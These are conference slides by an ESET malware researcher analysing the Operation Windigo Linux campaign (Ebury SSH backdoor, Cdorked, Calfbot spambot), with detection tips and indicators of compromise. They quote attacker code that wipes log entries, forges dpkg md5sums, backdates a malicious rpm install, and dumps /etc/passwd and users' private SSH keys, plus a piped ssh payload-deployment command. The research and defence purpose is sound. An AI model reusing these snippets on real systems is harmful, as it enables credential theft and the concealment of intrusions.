Hunting Malware on Linux Production Servers

The Windigo Backstory

Olivier Bilodeau, ESET (@obilodeau)
$ apropos

- Reminder: Operation Windigo
- Finding Linux/Ebury
  - Case expansion: Honeynet
  - Deployment and lack of persistence
- Escalading the Linux/Calfbot (Spambot)
  - Case expansion: Attacks on C&C encrypted traffic
- Operators network evasion
:-$ whoami

Olivier Bilodeau

- Malware Researcher at ESET
- InfoSec Lecturer at ETS University in Montreal Canada
- Previously Perl developer, Sysadmin, ...
- I have been doing CTFs for a while

- Co-founded MontreHack a Montreal CTF training initiative
$ w | grep -v olivier

aka Who are you?
What is Operation Windigo?

Crimeware operation consisting of several malware components — Linux/Ebury, Linux/Cdorked and Perl/Calfbot — where the infrastructure is mostly operated on compromised servers. Used for traffic redirection and sending spam.
Operation Windigo

a joint investigation effort
Linux/Ebury

- OpenSSH backdoor
  - Before: replacing original OpenSSH binaries (ssh, sshd, ssh-add)
  - Then: replaces libkeyutils.so library and hooks OpenSSH address space
  - Now: patch libkeyutils.so library to load libnss2.so and hooks OpenSSH address space
- Provides a backdoor root shell to the operators
  - Doesn’t leave traces behind when used
- Steals SSH passwords and keys
  - When connecting to and from the infected machine
key_parse clean

Ah
loc_23A6A

loc_23B00:
test r13d, r13d
jnz  loc_23A16

type"
the key type %d"

loc_23A6A:
mov  rcx, r15
mov  rdx, r14
mov  esi, r13d
mov  rdi, rsp
call  key_parse_private.pem
mov  rbx, rax
jmp  short loc_23A30

mov  rdx, r15
mov  rsi, r14
mov  rdi, rsp
call  key_parse_private.pem
mov  rbx, rax
jmp  loc_23A30
key_parse hooked

Ah
loc_23A6A

loc_23B00:
test r13d, r13d
jnz loc_23A16

key type %d"

loc_23A6A:
mov rcx, r15
mov rdx, r14
mov esi, r13d
mov rdi, rsp
call near ptr 0FFFFFFFA0B7AF45f
mov rbx, rax
jmp short loc_23A30

mov rdx, r15
mov rsi, r14
mov rdi, rsp
call key_parse_private
mov rbx, rax
jmp loc_23A30
How information is exfiltrated?

1. Passwords are sent inside a DNS packet with all required information such as username, target IP address and port
2. Keys are kept in memory and are later fetched by the operators with the Xcat command

98.174.121.19 -> 75.82.52.14  DNS Standard query 0x4cdd  A b74bebe10cad6ffe684
Linux/Cdorked

- httpd/nginx/lighttpd backdoor
  - Replacing binary on the server
- Redirect HTTP request on legitimate web site the exploit packs or affiliate links
- Use shared memory (POSIX IPC) for state and configuration
  - No file on disk
  - It’s encrypted with a static XOR key unique per infection
Linux/Cdorked Stealth
Perl/Calfbot

- Perl spamming daemon
- Deletes itself when running, resides only in memory
- Hides as crond
Compromised infra
How does it expand?
How can it do so?
Why advanced?

- **Stealth**
  - close to no disk persistence
  - uses shared memory
  - hooks into binaries
  - do not affect existing services

- **Effective**
  - large number of compromised servers
  - validates spamming
  - maximizes available server resources
Protip

Shared memory (shm) analysis

- `ipcs`
Protip

# ipcs -m
------- Shared Memory Segments -------
key     shmid     owner     perms     bytes     nattch
[...]
0x000010e0 465272836  root     600     3282312     0

# ipcs -m -p
------- Shared Memory Creator/Last-op PIDs -------
shmid     owner     cpid     lpid
[...]
465272836  root     15029     17377

# ps aux | grep 15029
[...]
root     15029     0.0     0.0     66300     1204     ?     Ss Jan26     0:00 /usr/sbin/ssh

# shmcat -m 465272836 > shm_dump
Money trail

- Install malware on Windows end-users
  - Exploit Kit: Flashpack, Blackhole, RIG
  - Win32/Glupteba (more spam capability)
- Spam
  - Mostly adult affiliate programs links
  - Some Casino
- Web-site redirections to adult affiliate programs
Impact

- **25 000+** compromised servers
- **500 000** browser redirections per day (20% go to exploit packs)
- **35M+** spam sent per day
- **kernel.org infected** at some point in 2011
Recap

- Operation Windigo is real
- It's all operated on compromised servers
- Stop using passwords, consider Two-Factor Auth
- Shared memory: ips, shmcat
But how did we get there?
Finding Linux/Ebury

- We analyzed Cdorked (hat tip Sucuri)
- Blog post in Spring 2013
- Then found SSH backdoor samples
Same crypto code

`Cdorked` | `Ebury`
From there

- Reversed the domain generation algorithm (DGA)
- Had access to exfiltration server
  - Witnessed 7000 infected servers
- Access to compromised systems through notifications
Case expansion

How to spy on a malicious user with the same privileges?

- syslog: omits logging
- package manifests: tampered
- tcpdump: Ebury stops on IFF_PROMISC, ssh is encrypted
- core dumping processes and shared memory: long
- auditd!
Protip

The Linux audit framework provides an auditing system that reliably collects information about any security-relevant (or non-security-relevant) event on a system. Using it we were able to gather intelligence without tipping off the malware group. We logged all execve calls.
type=EXECVE msg=audit(1373838239.340:4474200): argc=4 a0="rm" a1="-f" a2="-f"

type=CWD msg=audit(1373838239.340:4474200): cwd="/home/tmpp/openssh-5.9p1"


type=PATH msg=audit(1373838239.340:4474200): item=0 name="/bin/rm"
\- inode=22282288 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00
\- dev=08:01 mode=0100755 ouid=0 ogid=0 rdev =00:00

type=PATH msg=audit(1373838239.340:4474200): item=1 name=(null) inode=4456796
\- dev=08:01 mode=0100755 ouid=0 ogid=0 rdev =00:00


type=SYSCALL msg=audit(1373838239.341:4474201): arch=c000003e syscall=59
\- success=yes exit=0 a0=1f29d40 a1=1eec5f0 a2=1f 03ec0 a3=7fffd6be9a60
\- items=2 ppid=13403 pid=21287 auuid=501 uid=0 gid=0 euid=0
\- suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=128232 comm="touch" exe=


type=EXECVE msg=audit(1373838239.341:4474201): argc=4 a0="touch" a1="-r"
\- a2="/etc/ssh/sshd_config" a3="/etc/ssh/sshd_config"
Protip

On non-ascii arguments it switches to hex

```python
type=EXECVE msg=audit(1373837952.278:4473290): argc=26 a0="gcc" a1="-g"
a2="-02" a3="-Wall" a4="-Wpointer-arith" a5="-Wuninitialized"
a6="-Wsign-compare" a7="-Wformat-security" a8="-Wno-pointer-sign"
a9="-Wno-unused-result" a10="-fno-strict-aliasing" a11="-fno-built-in-memset"
a12="-fstack-protector-all" a13="-I." a14="-I."
a15=2D44535348449523D222F6574632F73736822 a16=2D445F504154485F5353485F50524F4752414D3222F7573722F6C6F63616C2F62696E2F73736822
[...]
a21=2D445F504154485F5353485F5049444449523D222F7661722F72756E22
a22=2D445F504154485F505249565345505F4348524F4F54F449523D222F7661722F656D7074
a23="-DHAVE_CONFIG_H" a24="-c" a25="rsa.c"

$ ipython
in [1]: ("2D445F504154485F5353485F504B435331315F48454C504552"'
   '3D222F7573722F6C6F63616C2F6C6962657865632F737362D'
   '706B63733132D68656C70657222').decode('hex')
Out[2]: '-D_PATH_SSH_PKCS11_HELPER="/usr/local/libexec/ssh-pkcs11-helper"'
```
Missing out

Still not entirely satisfied
Going out-of-band

- Built a man-in-the-middle ssh gateway
  - Operators don’t have Servers' HostKeys
  - So it could work!
- We leaked credentials
  - we waited...
  - And it worked!
As simple as that

/-----------------<CLOUD>-----------------\
WAN
Internet <--- gateway <--- Server
   (mitm-ssh) (fake workload)
\----------------- </CLOUD>-----------------/
Devops operators?

- Found very interesting monitoring and deployments scripts
- Interesting usage (SSH stream redirections):

```
cat payload.pl | ssh victim perl
# or
cat payload.sh | ssh victim bash
```
Recon / Deployment scripts

- Written in Perl
- Always reports to STDOUT
  - Errors
  - Status
Perl scripts

- Not obfuscated
- But as readable as Perl can be
Eliminates evidence

```
`mkdir -p /home/tmpq`; $tfile = '/home/tmpq/q3def';
@blist=`find /var/log -type f -mtime -1 -size +100M -ls`; print @blist if @bl
@logs=`cat /etc/syslog.conf|grep -vi "$#"|grep -vi dev``;
foreach (@logs) {${logs}{$1}++ if m|.*?(/.+)/| and not m|/mail| }
foreach $file (keys %logs) {
    next if checktime($file); # print "Check $file\n";
    $system="cat $file|egrep -i "\$n_date\"|egrep -i "$string\""; #print "$sy
    $test="$system`; print "Found in $file. Try to correct\n" if $test; next u
    $system="cat $file|egrep -vi "$n_date\">$tfile;cat $file|egrep "$n_date\n
#      print "$system\n"; #!
    system($system) }
```
Protip

Reverse-engineering Perl

- Use perltidy to prettify Perl
- Rename variables
  - vim: `* then cim then (n then .).repeat()`
  - or your search/replace of $EDITOR
- For packed scripts use B: :Deparse
Recon script

- Checks for LD_PRELOAD trickery
- Various restrictive ssh configurations
- BSD jails

```bash
if (-l '/bin') {
    print "\n\tALERT!!! /bin is link, seems like bsd jail\n";
    $alert++
}
```

- CPanel, BRadmin, Nagios ipcs plugin, auditd
Recon script (cont)

- Generic ssh honeypots

```perl
@sd = `strings /usr/sbin/sshd | grep -e "^/usr/local/libexec``;
chomp @sd;
if (@sd) { print "\n\tALERT!!! \n", join("|",@sd),"\n" }
my $ppid=getppid;
my $pb=readlink("/proc/$ppid/exe");
if ($pb ne '/usr/sbin/sshd') {
    print "\n\tALERT!!! parent:$pb, $ppid\n";
    $alert++
}
```
Recon script (cont)

- Detects available tools (pkg mgmt, gcc, patch, ...)
- Check for header files to compile OpenSSH
- Check if Ebury is already installed
Deployment script

- Uses Perl’s DATA to pass files through ssh

```perl
open(TAR,"| tar zxf - $ln $sl");
binmode(DATA);
while(<DATA>) {
    print TAR $_;
}
close TAR;
```

Deployment script (cont)

Altering package management manifests

```perl
sub fix_md5 {
  my @df = glob("/var/lib/dpkg/info/libkeyutils1*.md5sums");
  get_md5();
  open( $fh, "<$df" );
  my @q = <$fh>;
  close $fh;
  for (@q) {
    $c++ if s|\S+ $d1/\rf\le|\n|$md5 $d1/\rf\le|\n|}

  open( $fh, ">$df" );
  print $fh @q;
  close $fh;
  print "md5fix: fixed lines: $c\n";
}
```
Deployment script (cont)

How do you install an rpm in the past?

```bash
$install_time = `rpm -q --qf '%{INSTALLTIME}\n' keyutils-libs
 `MYRPMT="$install_time" LD_PRELOAD=./${override_time}.so
 rpm --replacepkgs --replacefiles --noscripts --nosignature -U malicious_libkey`
```
Deployment script (cont)

```bash
# rpm --verify keyutils-libs
(no error)
# rpm -q keyutils-libs

<table>
<thead>
<tr>
<th>Name</th>
<th>keyutils-libs</th>
<th>Relocations: (not relocatable)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version</td>
<td>1.4</td>
<td>Vendor: CentOS</td>
</tr>
<tr>
<td>Release</td>
<td>4.el6</td>
<td>Build Date: Fri 22 Jun 2012 02:20:23</td>
</tr>
<tr>
<td>Install Date</td>
<td>Mon 27 Jan 2014 06:08:43 AM EST</td>
<td>Build Host: c6b10.bsys.dev.</td>
</tr>
<tr>
<td>Group</td>
<td>System Environment/Base</td>
<td>Source RPM: keyutils-1.4-4.el6.src</td>
</tr>
<tr>
<td>Size</td>
<td>59320</td>
<td>License: GPLv2+ and LGPLv2+</td>
</tr>
<tr>
<td>Signature</td>
<td>RSA/SHA1, Sun 24 Jun 2012 06:18:51 PM EDT, Key ID 21efc4bf71fbfe</td>
<td></td>
</tr>
<tr>
<td>URL</td>
<td><a href="http://people.redhat.com/~dhowells/keyutils/">http://people.redhat.com/~dhowells/keyutils/</a></td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td>Key utilities library</td>
<td></td>
</tr>
<tr>
<td>Description</td>
<td>This package provides a wrapper library for the key management facility system calls.</td>
<td></td>
</tr>
</tbody>
</table>
```
Daily monitoring script

- Bash
- Grabs keys, known hosts, user ssh configs

```bash
echo _ _ % Passwd
cat /etc/passwd
# [...] 
ud=`awk -F:' '{print $6}' </etc/passwd|sort -u`;
echo _ _ % KHosts
for f in $ud;do cat $f/.ssh/known_hosts 2>/dev/null;done
echo _ _ % SSHConf
for f in $ud;do cat $f/.ssh/config 2>/dev/null && echo _ _ %{f};done
echo _ _ % SSHKeys_priv
for f in $ud;do
  [ -e $f/.ssh/id_rsa ] && { echo _ _ %{f}/.ssh/id_rsa;cat $f/.ssh/id_rsa;echo; }
  [ -e $f/.ssh/id_dsa ] && { echo _ _ %{f}/.ssh/id_dsa;cat $f/.ssh/id_dsa;echo; }
```
Other scripts findings

- Modifies SELinux policy
- Various styles of installation
  - precompiled libraries
  - on-site compilation
  - packages
- Looks for over 40 backdoors/rootkits
Recap

- full interaction honeypot allowed us to move further
- auditd, mitm-ssh are good tools
- this malware group knows Linux and have seen stuff
How we first met Perl/Calfbot

- Replay attack on one of those URLs
- Built Calfbot fake client using operator’s own code
- First layer C&C on Ebury infected machines
How big is this thing?

Bot reports the # of successful spam sent

https://184.107.139.250//b/index.php?id=f65723512faaf2634dadb1339db4764ccb60982236b9515441f85380c5b92e&s=0&n=0&stat=f658265128a18ec5ed5d4af06897e2d342866a361086afe73f565a4cb798aebe32705a43f56ecb871d58663e2a2540f26df725f46a012ed9335243080b5cf91a43d8d2c135c85c69590f4b9287b111c7b613536858ae91fe4c1d686df7671a6994c2581b3794b65e04872b21ff80a5d607823641d3cf76997f0b1ff743f37f7f8f6cf7c0e2fc46c9bc9e49b2d9a763e425b131cfff4aa17a79
The situation is

- We have shell access to the current first layer C&C
- Traffic is SSL and goes through an nginx reverse proxy
- nginx binary is gone, config is gone but not the private key!
- Remote end of the proxy is beyond reach (no collaboration)
Our move

- Dumped process memory (pid via netstat)
  - gcore pid
- Extracted binary from /proc
- Extracted config from dump and binary
- Modified config to weaken SSL suite

```
- ssl_ciphers HIGH:!aNULL:!MD5;
+ ssl_ciphers AES128-SHA;
```
Protip

• proc allows you to extract deleted executables

# normal
$ sudo ls -l /proc/17902/exe
lrwxrwxrwx 1 root root 0 Sep 26 13:11 /proc/17902/exe -> /
  /home/olivier/src/nginx-1.5.3/nginx
$ sha1sum /home/olivier/src/nginx-1.5.3/nginx
fbb493f83e67a651ccbbf73a5ad22ca6719c19e4  /home/olivier/src/nginx-1.5.3/nginx

$ sudo rm /home/olivier/src/nginx-1.5.3/nginx

# removed
$ sudo ls -l /proc/17902/exe
lrwxrwxrwx 1 root root 0 Sep 26 13:11 /proc/17902/exe -> /
  /home/olivier/src/nginx-1.5.3/nginx (deleted)

$ sudo cp /proc/17902/exe ./nginx
$ sha1sum nginx
fbb493f83e67a651ccbbf73a5ad22ca6719c19e4  nginx
Protip

- We’ve seen calfbot hide as crond in `ps -ef` output
  - Simple in Perl: `$0 = "crond";`
- proc allows also to inspect for that

```bash
# clean
$ pgrep -x "cron" | sudo xargs -I '{}' ls -la "/proc/{}/exe"
lrwxrwxrwx 1 root root 0 Sep 25 13:35 /proc/1389/exe -> /usr/sbin/cron

# suspicious
$ pgrep -x "cron" | sudo xargs -I '{}' ls -la "/proc/{}/exe"
lrwxrwxrwx 1 root root 0 Sep 25 13:21 /proc/666/exe -> /usr/bin/perl
```
Protip

- `ls/of`: to list all files used by process
- `netstat`: to list his sockets
- `ipcs`: shared memory
- `strace`: what it is doing
Protip

Always copy everything from /proc/$pid before killing a process
Our move (cont)

- Replace config and original binary
- nginx SIGHUP
- Delete config and binary
SUCCESS

PERL/CALFBOT OPERATING SYSTEM

- 1888 Linux
- 241 Not Specified
- 61 BSD
- 19 OS X
- 2 Windows
Recap

- You can mitm the bad guys
  - If you have permission
- proc is awesome
  - bring binaries back from the dead
  - copy it before killing a malicious process
- Use lsof, netstat, strace to understand processes
Network evasion

- SSH tunnels
- nginx reverse proxies
- IP in IP tunnels
- 3Proxy
SSH tunnels

- Through infected servers
- Used to send spam

Diagram:

- Spam C&C proxy
- Spam C&C proxy
- ... → authenticated with backdoor and create tunnels → Server with Linux/Ebury → tunnels to port 25 to
  - ... → Yahoo mail server
  - Google mail server
nginx reverse proxies

- Through infected servers
- Layers of redirection in front of the Calfbot C&C
- Layers of redirection in front of the Exploit Kit hosting
- Binary often in odd location (/boot/sbin/nginx)
# ...  
upstream backend_servers {  
    server xx.xxx.118.201:xx05 max_fails=1 fail_timeout=600s weight=25  
    # [... other servers ...]  
}  

server {  
    listen 80  
    access_log /dev/null  

    location / {  
        proxy_pass http://backend_servers  
        proxy_set_header Host $http_host  
        proxy_redirect off  
        proxy_set_header X-Real-IP $remote_addr  
        proxy_set_header X_Forwarded-For $proxy_add_x_forwarded_for; X_For..  
        # [... performance things ...]  
    }  
}
nginx Calfbot config example

```nginx
upstream backend_servers {
  server xxx.x.36.17:4xx35;
}

server {
  listen 19xx;
  listen 443;

  ssl on;
  ssl_certificate /boot/conf/certificate.pem;
  ssl_certificate_key /boot/conf/secret_key.key;
  # ...
}
```
Protip

- `ps -ef`
- `netstat -anp`
### Example netstat output

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xxx.x.59.72:55765</td>
<td>SYN_RECV</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xx.xxx.236.11:47401</td>
<td>SYN_RECV</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:3306</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1905</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:22</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:25</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xxx.xxx.141.83:35679</td>
<td>TIME_WAIT</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:22</td>
<td>xx.xx.127.142:27255</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xx.xxx.103.38:55600</td>
<td>TIME_WAIT</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xx.xx.161.2:46744</td>
<td>TIME_WAIT</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xxx.xxx.103.38:55601</td>
<td>TIME_WAIT</td>
</tr>
<tr>
<td>tcp</td>
<td>50680</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xx.xxx.75.39:23944</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:443</td>
<td>xx.xx.161.2:46740</td>
<td>TIME_WAIT</td>
</tr>
<tr>
<td>tcp</td>
<td>688</td>
<td>0</td>
<td>xxx.xxx.139.250:56624</td>
<td>xxx.x.36.17:4xx35</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>xxx.xxx.139.250:22</td>
<td>xx.xx.127.142:27302</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>
IP in IP tunnels

- Through infected servers
- Used to hide all sort of traffic (ssh, browser, etc.)
- Layers of tunneling found
What are IP in IP tunnels

- Handled by the kernel
- Created with `ifconfig` or `iproute2` suite
- Point-to-point link that encapsulate IP inside IP
- Transport independant
Inside the tunnels

Doing TTL and traffic analysis we found.

- The machines' OS using the tunnels (FreeBSD, Windows, Linux)
- Mostly ssh, ftp
- # of hops
- Several GB of traffic (3 RX / 8 TX)
- Monitoring Ebury infected machines
- Trying passwords on Internet facing ssh / ftp
Protip

- `ifconfig` and look for: `Link enca:p:IPIP Tunnel`
- `ip tunnel show`

```
tun0: ip/ip  remote any  local any  ttl inherit  nopmtudisc
  tun10: ip/ip  remote xx.xx.201.34 local xxx.xxx.232.18 dev eth0  ttl
  sit0: ipv6/ip  remote any  local any  ttl 64  nopmtudisc
```

- `ip route show`

```
10.12.12.0/30 dev tun10  proto kernel  scope link  src 10.12.12.2
```

- `iptables -t nat -L -nv`
  - post-routing source NAT to map tunnel traffic to eth0 IP
iptables

- Rules in the NAT table to bounce traffic of compromised servers

```bash
-A PREROUTING -d xx.xx.51.14/32 -p udp -m udp --dport 53 -j DNAT --to-destination
-A POSTROUTING -d xxx.xx.225.200/32 -p udp -m udp --dport 53 -j SNAT --to-source
```
Protip

- Audit your iptables rules

```
iptables -t nat -L -nv
```
3Proxy

- Tiny free cross-platform multi-protocol proxy server
- Not malware (strings not obfuscated)
- Sometimes hidden as crond
Protip

1. lsof -i -n
2. /proc to find binary
3. strings

$ strings crond | grep 3proxy
Documentation and sources: http://www.security.nnov.ru/soft/3proxy/3proxy@
Recap

- Look for
  - kernel-level: IP in IP, iptables
  - binaries: rogue nginx, 3Proxy, SSH tunnels
- With
  - iptables, ip tunnel show, ps, netstat
Indicators of Compromise

We released so-called IOCs

- https://github.com/eset/malware-ioc/tree/master/windigo
- https://www.cert-bund.de/ebury-faq
- [BEST] Contact us: windigo@eset.sk
Reaction example

```python
>>> repr(xdrapi.get_many_bytes(0x73f0, 0x568), xdrapi.get_many_bytes(0x73e8, 8))
\r\n\r\n```
Closing words

- Be creative on the bad guys (legally)
- Out-of-band cannot lie
- Native tools can help a lot
- Send us anything suspect you find!

windigo@eset.sk
logout

Thanks!

- Questions?
- @obilodeau
- windigo@eset.sk